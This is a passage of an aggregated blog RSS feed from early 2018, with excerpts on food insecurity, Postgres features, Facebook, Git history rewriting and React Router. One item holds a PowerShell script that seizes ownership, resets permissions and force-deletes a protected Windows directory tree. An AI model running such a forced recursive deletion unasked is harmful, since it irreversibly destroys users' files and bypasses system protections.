&lt;p&gt;No one should be hungry, not only for the personal reasons that all people should live happily (some would dispute this) but additionally for the benefits that society would have if the populace was given a constant supply of the very things that are the basis of existence - food, water, and medical attention. Without these, we are just animals preying on those who are smaller (in capital) than the others.&lt;/p&gt;
&lt;p&gt;This is not acceptable, we as a society need to reinvest in our greatest and most basic infrastructure, the people. This needs to change.&lt;/p&gt;
&lt;p&gt;The percentage of food insecurities are progressively going to rise, especially as the population increases and as the government continues to harm the people that make up the country by removing benefits of the people by cutting food stamps, by removing corporate regulations, and lowering the taxes on the wealthy.&lt;/p&gt;
&lt;p&gt;The population is going to increase by two-billion and become a staggering nine-billion by 2050 worldwide. The requirement for food production to keep up with that rate, will need to increase by an additionally staggering 75%. If we don’t start increasing the amount of food security and redistribution to everyone, and we don’t invest in our society through innovations in agriculture, and in all other industries then we will fail even more people.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We need to refocus our government and social policies by investing in more renewable food production, and by investing more into the people by directly funding and developing a real plan for food to stop the food insecurities that are plaguing our society.&lt;/strong&gt;&lt;/p&gt;</description><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Fri, 02 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/blog/food-insecurity/</guid></item><item><title>Dark: Season 1</title><link>https://olshansky.info/tv/dark_season_1/</link><description>Olshansky's review of Dark: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 01 Feb 2018 13:55:57 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/dark_season_1/</guid></item><item><title>thoughts on organisations’ portal</title><link>https://yasha.solutions/thoughts-on-organisations-portal/</link><description>Some elements on thoughts on designing / building a company’s web portal.
 – is dependant on the internal business process
– can help cut from 30% to 60% inefficiencies
– Requires good collaboration between designers and client
– is a thing since the 90’s
– today you can basically integrate both and ERP / Mobile App / CRM / CMS to deliver a 360 integration of the business needs and customer needs</description><author>Yasha Solutions</author><pubDate>Thu, 01 Feb 2018 09:18:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/thoughts-on-organisations-portal/</guid></item><item><title>The cost of five MORE years without perclouds</title><link>https://stop.zona-m.net/2018/02/the-cost-of-five-more-years-without-perclouds/</link><description>&lt;p&gt;The percloud (&amp;ldquo;permanent/personal cloud&amp;rdquo;) is the simple, integrated alternative to Facebook, Twitter, Gmail, Flickr, Dropbox&amp;hellip;  that I first proposed in 2013. Yesterday, the P2P Foundation stimulated new discusssions about the percloud,&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 01 Feb 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/the-cost-of-five-more-years-without-perclouds/</guid></item><item><title>How to e.g. change Java package name, over all revisions, while preserving Git history</title><link>https://www.databasesandlife.com/software-moving-companies-while-preserving-git-history/</link><description>&lt;p&gt;Recently a customer requested that a piece of software should &amp;ldquo;move companies&amp;rdquo; from company A to company B, henceforth appearing as if it&amp;rsquo;d always been created by company B, and never appear to have been produced by company A at all. (I would surprise you if I say this is not the first time I&amp;rsquo;ve received such a request.. or not?)&lt;/p&gt;
&lt;p&gt;The simplest way would have been to rename everything in the source code, copy it to a new directory, &lt;code&gt;git init&lt;/code&gt;, check it in, throw away the old repository.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Thu, 01 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/software-moving-companies-while-preserving-git-history/</guid></item><item><title>Delete the undeletable on Windows</title><link>https://allanrbo.blogspot.com/2017/11/delete-undeletable-on-windows.html</link><description>I had trouble deleting C:\ProgramData\Docker on Docker for Windows using Windows containers. This is because it contains a full Windows directory layout, with all system files and special permissions and flags. Here's a Powershell snippet to get a file hierarchy on Windows into a state where it can be deleted.&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code"&gt;
$ErrorActionPreference = "stop"

function reallyDelete($d) {
    function renameToNumbersRecursive($dir) {
        $i = 0
        foreach($f in (dir $dir)) {
            while(Test-Path ($dir + "\" + $i)) {
                $i++
            }
            try {
                Rename-Item $f.FullName ($dir + "\" + $i)
            } catch {
                takeown /f $dir | Out-Null
                icacls $dir /reset | Out-Null
                takeown /f $f.FullName | Out-Null
                icacls $f.FullName /reset | Out-Null
                Rename-Item $f.FullName ($dir + "\" + $i)
            }
        }

        foreach($f in (dir $dir)) {
            if($f -is [System.IO.DirectoryInfo]) {
                renameToNumbersRecursive($f.FullName)
            }
        }
    }

    # paths might become too long for icacls, so rename paths to short numbers
    renameToNumbersRecursive $d

    takeown /f $d /r   | Out-Null
    icacls $d /reset /T   | Out-Null

    attrib -s -h -r "$d\*.*" /s /d   | Out-Null

    cmd /c del /s /q $d   | Out-Null
    cmd /c rmdir /s /q $d   | Out-Null
}

reallyDelete "C:\ProgramData\Docker"
&lt;/pre&gt;</description><author>Allan's Blog</author><pubDate>Thu, 01 Feb 2018 00:22:45 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2017/11/delete-undeletable-on-windows.html</guid></item><item><title>Postgres hidden gems</title><link>/2018/01/31/Postgres-hidden-gems/</link><description>&lt;p&gt;Postgres has a rich set of features, even when working everyday with it you may not discover all it has to offer. In hopes of learning some new features that I didn&amp;rsquo;t know about myself as well as seeing what small gems people found joy in I tweeted out to see what people came back from. The response was impressive, and rather than have it lost into ether of twitter I&amp;rsquo;m capturing some of the responses here along with some resources many of the features.&lt;/p&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/listrophy"&gt;@listrophy&lt;/a&gt; - &lt;code&gt;$ brew postgresql-update database&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Though personally I prefer Postgres.app ;)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/pat_shaugnessy"&gt;@pat_shaugnessy&lt;/a&gt; - ltree
&lt;ul&gt;
&lt;li&gt;Pat has a great post that walks through &lt;a href="http://patshaughnessy.net/2017/12/13/saving-a-tree-in-postgres-using-ltree"&gt;ltree&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/billyfung"&gt;@billyfung&lt;/a&gt; - citext
&lt;ul&gt;
&lt;li&gt;A really handy datatype for case insensitive text&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/eeeebbbbrrrr"&gt;@eeeebbbbrrrr&lt;/a&gt; - date math with intervals
&lt;ul&gt;
&lt;li&gt;I couldn&amp;rsquo;t agree more on this one, &lt;a href="/2017/06/08/working-with-time-in-postgres/"&gt;working with time in Postgres&lt;/a&gt; is the easiest time I&amp;rsquo;ve every had&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/DataMiller"&gt;@DataMiller&lt;/a&gt; - The jsonb datatype and lateral joins
&lt;ul&gt;
&lt;li&gt;I&amp;rsquo;d argue it&amp;rsquo;s hard to claim now JSONB is a hidden gem, but &lt;a href="https://blog.heapanalytics.com/postgresqls-powerful-new-join-type-lateral/"&gt;lateral joins&lt;/a&gt; are certain a great one&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/ideasasylum"&gt;@ideasasylum&lt;/a&gt; - row_number() over(partition &lt;a href="http://orders.site"&gt;http://orders.site&lt;/a&gt;_id order by orders.created_at)
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://robots.thoughtbot.com/postgres-window-functions"&gt;Window functions&lt;/a&gt; are definitely a handy feature
was my hidden (to me) discovery this week&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/franckverrot"&gt;@franckverrot&lt;/a&gt; - Index access method, and custom FDWs&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/jonjensen0"&gt;@jonjensen0&lt;/a&gt; - &lt;a href="https://www.postgresql.org/docs/9.5/static/functions-srf.html"&gt;Set-returning functions&lt;/a&gt; and custom aggregate functions can be very helpful.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/ascherbaum"&gt;@ascherbaum&lt;/a&gt; - psql -x
&lt;ul&gt;
&lt;li&gt;Psql is indeed awesome and can be &lt;a href="http://www.craigkerstiens.com/2013/02/13/How-I-Work-With-Postgres/"&gt;well tuned&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/Abstr_ct"&gt;@Abstr_ct&lt;/a&gt; - The fact that the docs are fantastic and all hidden gems are actually readily available. Oh, and pl/brainfuck obviously&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/Halpin_IO"&gt;@Halpin_IO&lt;/a&gt; - Subnetting and network operations&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/jkatz05"&gt;@jkatz05&lt;/a&gt; - Replication slots, both physical and logical. They&amp;rsquo;ve made setting up replication infinitely easier. And range types. Because they&amp;rsquo;re awesome.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/petereisentraut"&gt;@petereisentraut&lt;/a&gt; - Unicode table borders&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/_avichalp"&gt;@_avichalp&lt;/a&gt; Notify/listen&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/simonw"&gt;@simonw&lt;/a&gt; - The fact that &lt;a href="https://www.citusdata.com/blog/2017/10/17/tour-of-postgres-index-types/"&gt;GIN indices&lt;/a&gt; can make LIKE queries run fast even if the % isn&amp;rsquo;t just at the end of the string&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/javisantana"&gt;@javisantana&lt;/a&gt; - it has a statistics system to plan queries that can be used by the user when accuracy does not matter, for example, use &amp;ldquo;explain select * from table&amp;rdquo; to replace count() or use &amp;ldquo;_postgis_selectivity&amp;rdquo; to know how many points fall into a bbox.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/l_avrot"&gt;@l_avrot&lt;/a&gt; - The fact that we can use vim editor in psql&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/mashd"&gt;@mashd&lt;/a&gt; - Logical decoding for change data capture.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/4thdoctor_scarf"&gt;@4thdoctor_scarf&lt;/a&gt; - the MVCC. If I had a penny per each time I&amp;rsquo;ve explained how really works, I&amp;rsquo;ll be a millionaire now :)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/docteur_klein"&gt;@docteur_klein&lt;/a&gt; - \timing in psql&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/thibaut_barrere"&gt;@thibaut_barrere&lt;/a&gt; - From times to times I find foreign data wrapper with CSV files very helpful (&amp;amp; easy to setup with Ruby&amp;rsquo;s Sequel library) &lt;a href="https://gist.github.com/thbar/0093ee54c5a61aa5a0c5a4737fc3bd45"&gt;https://gist.github.com/thbar/0093ee54c5a61aa5a0c5a4737fc3bd45&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/steve_touw"&gt;@steve_touw&lt;/a&gt; - &lt;a href="http://www.craigkerstiens.com/2016/09/11/a-tour-of-fdws/"&gt;Foreign data wrappers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/roimartinez_gis"&gt;@roimartinez_gis&lt;/a&gt; - Clearly aggregate functions make live very simple :) .&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/whalesalad"&gt;@whalesalad&lt;/a&gt; - select where datetime &amp;gt; yesterday and other natural language time queries.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/pwramsey"&gt;@pwramsey&lt;/a&gt; - At the hacker level: hooks. So many cool hooks, and finding them, a bit of an easter egg hunt.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/pwramsey"&gt;@pwramsey&lt;/a&gt; - At the user level: the quality and breadth of tsearch still feels radically under appreciated; same for ranges.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/TomCiopp"&gt;@TomCiopp&lt;/a&gt; - PostGIS / PgRouting&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/peterbe"&gt;@peterbe&lt;/a&gt; - psql -l&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/jbrancha"&gt;@jbrancha&lt;/a&gt; - In psql, setting ‘\x auto’ so that wide table results get displayed vertically!&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twitter.com/westermanndanie"&gt;@westermanndanie&lt;/a&gt; - &lt;code&gt;\watch&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Well that was quite the list. And I&amp;rsquo;m sure we&amp;rsquo;ve only scratched the surface. Have something not on the list that you feel like classifies as a hidden gem? &lt;a href="https://www.twitter.com/craigkerstiens"&gt;Lets hear about it&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you&amp;rsquo;re looking for a deeper resource on Postgres I recommend the book &lt;a href="https://theartofpostgresql.com/?affiliate=cek"&gt;The Art of PostgreSQL&lt;/a&gt;. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you&amp;rsquo;ll receive 15% off as well.&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 31 Jan 2018 22:55:56 GMT</pubDate><guid isPermaLink="true">/2018/01/31/Postgres-hidden-gems/</guid></item><item><title>When The Game Was Ours by Jackie MacMullan, Larry Bird, and Magic Johnson</title><link>https://ilearnt.com/blog/whenthegamewasours/</link><description>&lt;p&gt;On 12th June 1984 I was on a family holiday in the US. We had spent three weeks travelling around Florida and then up the east coast to finally end up in Boston. During the day we had a guided tour of the city and we were told that it was game seven of the NBA finals that night between the Boston Celtics and the Los Angeles Lakers.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 31 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/whenthegamewasours/</guid></item><item><title>Rewarding the act of volunteering</title><link>https://ilearnt.com/blog/hullcoin/</link><description>&lt;p&gt;A new digital coin has been introduced in Hull to reward people who volunteer for things. Due to regulations the receiver can cash in their coin in the form of a discount when purchasing products at certain stores.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 30 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/hullcoin/</guid></item><item><title>The little things in films can make a big difference</title><link>https://ilearnt.com/blog/filmgraphicdesign/</link><description>&lt;p&gt;I listen to a lot of podcasts (probably 500+ a year) and one I make an extra effort to listen to every episode is &lt;a href="https://99percentinvisible.org/" target="_blank"&gt;99% Invisible&lt;/a&gt;. It is &amp;ldquo;about all the thought that goes into the things we don’t think about — the unnoticed architecture and design that shape our world.&amp;rdquo;&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 30 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/filmgraphicdesign/</guid></item><item><title>Using crazy socks to make an impact</title><link>https://ilearnt.com/blog/crazysocks/</link><description>&lt;p&gt;This is a great &lt;a href="https://www.inc.com/larry-kim/meet-john-21-year-old-entrepreneur-whose-inspiring-story-will-make-you-cry-tears-of-joy.html" target="_blank"&gt;article&lt;/a&gt; about a small business that is growing rapidly and run with a smile on their faces. John and his dad started a business to sell crazy, fun socks and it has gone from strength to strength. I also like the 5% of sales to the Special Olympics and the socks for charities (watch the video).&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 30 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/crazysocks/</guid></item><item><title>The percloud is still only a proposal. For everybody</title><link>https://stop.zona-m.net/2018/01/the-percloud-is-still-only-a-proposal.-for-everybody/</link><description>&lt;p&gt;This morning, Michel Bauwens asked if any part of my proposals for personal clouds are actually working, or if they still are just proposals. The answer is: Yes, they still are &amp;ldquo;just proposals. Here is why, and why you should still care.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 30 Jan 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/the-percloud-is-still-only-a-proposal.-for-everybody/</guid></item><item><title>a quick one about the designers’ struggle with clients</title><link>https://yasha.solutions/a-quick-one-about-the-designers-struggle-with-clients/</link><description>Yesterday I had a conversation with a designer who made a career change to become a real-estate sales person.
 yep – you heard well.
 From panda-hat pencil-in-hand graphic artist and logo designer, he went to sell cinderblocks lots…
 What happened? well, unsurprisingly – he got sick of clients – he got tired of not getting paid – and he got tired of having the very people who hired him for a job starting to tell him how he should do his job.</description><author>Yasha Solutions</author><pubDate>Tue, 30 Jan 2018 10:29:39 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/a-quick-one-about-the-designers-struggle-with-clients/</guid></item><item><title>How to customize the Facebook News Feed (infographic)</title><link>https://stop.zona-m.net/2018/01/how-to-customize-the-facebook-news-feed-infographic/</link><description>&lt;p&gt;It is possible to customize what Facebook shows you in its News Feed. Here is how to do it, and above all WHY, explained in the simplest possible manner.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 30 Jan 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/how-to-customize-the-facebook-news-feed-infographic/</guid></item><item><title>Golang Enabling Unikernels?</title><link>https://blog.herlein.com/post/golang-enabled-microkernels/</link><description>&lt;p&gt;&lt;a href="https://www.linkedin.com/pulse/golang-enabling-unikernels-greg-herlein/"&gt;Golang Enabling Unikernels?&lt;/a&gt;&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Tue, 30 Jan 2018 01:29:39 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/golang-enabled-microkernels/</guid></item><item><title>Some days just suck shit</title><link>https://yasha.solutions/some-days-just-suck-shit/</link><description>Mondays don’t have to suck
but sometime they do…
which I guess is fine and was to be expected.
Yet – when you didn’t sleep overnight and still have to break your head over tons of things… some days are just not easy.
The secret – is to zoom out.
When I manage to zoom out on the scale of a decade – then the fact the tramway was late or that I couldnt get a coffee in the morning, or this bug in the code is become such a tiny ridicule element that can easily be overcome.</description><author>Yasha Solutions</author><pubDate>Tue, 30 Jan 2018 00:02:47 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/some-days-just-suck-shit/</guid></item><item><title>Er.. No, sorry: Facebook CANNOT provide transparency</title><link>https://stop.zona-m.net/2018/01/er..-no-sorry-facebook-cannot-provide-transparency/</link><description>&lt;p&gt;Requests that Facebook &amp;ldquo;opens up its algorithms&amp;rdquo; continue to come. Because nobody seems to realize that, no matter how surely well-meaning those proposals are, they are structurally impossible to satisfy, on any centralized platform like Facebook.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 29 Jan 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/er..-no-sorry-facebook-cannot-provide-transparency/</guid></item><item><title>Surprising the customer with unexpected pricing</title><link>https://ilearnt.com/blog/unexpectedpricing/</link><description>&lt;p&gt;Derek Sivers highlights an interesting pricing approach in this &lt;a href="https://sivers.org/pp" target="_blank"&gt;article&lt;/a&gt;. He was asked to perform at a distant location. When the customer couldn&amp;rsquo;t afford the price they suggested reducing the performance time, hoping to reduce the price. Instead of doing the expected he raised his price. His reason was that they were paying for him to get to the location and then do the work where the work was the fun bit. By reducing the time on the fun bit it was less worth him making the trip.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 29 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/unexpectedpricing/</guid></item><item><title>If you were worried about Russia hacking elections...</title><link>https://stop.zona-m.net/2018/01/if-you-were-worried-about-russia-hacking-elections.../</link><description>&lt;p&gt;&amp;hellip; just stop one moment to appreciate this article, and realize what its &lt;strong&gt;real&lt;/strong&gt; title may (or should?) be:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 29 Jan 2018 12:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/if-you-were-worried-about-russia-hacking-elections.../</guid></item><item><title>The fix for Facebook is NOT a different PLATFORM</title><link>https://stop.zona-m.net/2018/01/the-fix-for-facebook-is-not-a-different-platform/</link><description>&lt;p&gt;An article by Roger McNamee titled &lt;a href="https://washingtonmonthly.com/magazine/january-february-march-2018/how-to-fix-facebook-before-it-fixes-us/"&gt;&amp;ldquo;How to Fix Facebook - Before it fixes us&amp;rdquo;&lt;/a&gt; does a great job of describing the problems created by Facebook or &lt;strong&gt;any other platforms&lt;/strong&gt; working in the same way, but contradicts itself when it proposes certain &lt;strong&gt;kinds&lt;/strong&gt; of regulatory fixes.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 29 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/the-fix-for-facebook-is-not-a-different-platform/</guid></item><item><title>React Router v4 redirect decorator</title><link>https://muffinman.io/blog/react-router-v4-redirect-decorator/</link><description>&lt;article class="article"&gt;&lt;p&gt;React Router switched to component based routing starting with the version 4.
Redirects are now done by rendering a &lt;code&gt;Redirect&lt;/code&gt; component,
&lt;span class="sidenote__text" tabindex="0"&gt;like this:&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Please note that you can use included &lt;a href="https://reacttraining.com/react-router/web/api/withRouter"&gt;withRouter&lt;/a&gt;
decorator but it can cause update blocking and introduce side effects.
This is small subset of it.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class="language-html"&gt;&lt;code class="language-html code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;Redirect&lt;/span&gt; &lt;span class="token attr-name"&gt;to&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;/redirect-url-here&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What I usually do is to keep &lt;code&gt;redirectTo&lt;/code&gt; property in component&amp;#x27;s state.
To redirect, I set it to the URL I want to redirect to,
and render &lt;code&gt;Redirect&lt;/code&gt; at the start of the &lt;code&gt;render&lt;/code&gt; method:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;render&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; redirectTo &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;state&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;redirectTo&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token maybe-class-name"&gt;Redirect&lt;/span&gt; push to&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; redirectTo &lt;span class="token punctuation"&gt;}&lt;/span&gt; &lt;span class="token operator"&gt;/&lt;/span&gt;&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token maybe-class-name"&gt;YourComponentHere&lt;/span&gt; &lt;span class="token operator"&gt;/&lt;/span&gt;&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach works well, but I got tired of repeating the same code over and over again.
So I pulled the functionality to a decorator (higher order component if you prefer).&lt;/p&gt;
&lt;h2 id="redirect-decorator"&gt;Redirect decorator &lt;a class="anchor-link" href="#redirect-decorator"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did exactly what I described above, and exposed &lt;code&gt;redirectTo&lt;/code&gt; method
to a composed component.&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword module"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;React&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword module"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword module"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Redirect&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword module"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react-router-dom&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token function-variable function"&gt;withRedirect&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token parameter"&gt;&lt;span class="token maybe-class-name"&gt;ComposedComponent&lt;/span&gt;&lt;/span&gt; &lt;span class="token arrow operator"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="token keyword"&gt;class&lt;/span&gt; &lt;span class="token class-name"&gt;RedirectDecorator&lt;/span&gt; &lt;span class="token keyword"&gt;extends&lt;/span&gt; &lt;span class="token class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  state &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token literal-property property"&gt;push&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token boolean"&gt;false&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token literal-property property"&gt;redirectUrl&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token keyword null nil"&gt;null&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function"&gt;componentDidUpdate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token parameter"&gt;prevProps&lt;span class="token punctuation"&gt;,&lt;/span&gt; prevState&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
